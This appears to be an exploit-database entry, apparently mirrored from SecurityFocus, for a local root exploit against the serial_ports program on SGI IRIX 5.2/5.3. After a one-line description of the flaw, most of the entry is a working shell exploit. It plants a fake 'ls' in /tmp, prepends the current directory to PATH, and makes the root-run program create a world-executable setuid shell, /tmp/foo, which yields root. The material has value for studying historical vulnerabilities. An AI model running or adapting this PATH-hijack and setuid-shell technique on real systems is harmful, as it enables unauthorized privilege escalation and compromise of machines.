SGI IRIX 5.2/5.3 - 'serial_ports' Local Privilege Escalation
Exploit Author: transit Analysis Author: www.bubbleslearn.ir Category: Local Language: Shell Published Date: 1994-02-02
source: https://www.securityfocus.com/bid/464/info
A race condition exists in the serial_ports administrative program, as included by SGI in the 5.x Irix operating system. This race condition allows regular users to execute arbitrary commands as root.
cat > /tmp/ls
#!/bin/sh
cp /bin/sh /tmp/foo
chmod 4777 /tmp/foo
^D
chmod 755 /tmp/ls
cd /tmp
set PATH=( . $PATH )
/usr/lib/vadmin/serial_ports
# wait about 10-20 seconds and hit ^C, or wait for it to
# die out completely
/tmp/foo
# whoami
root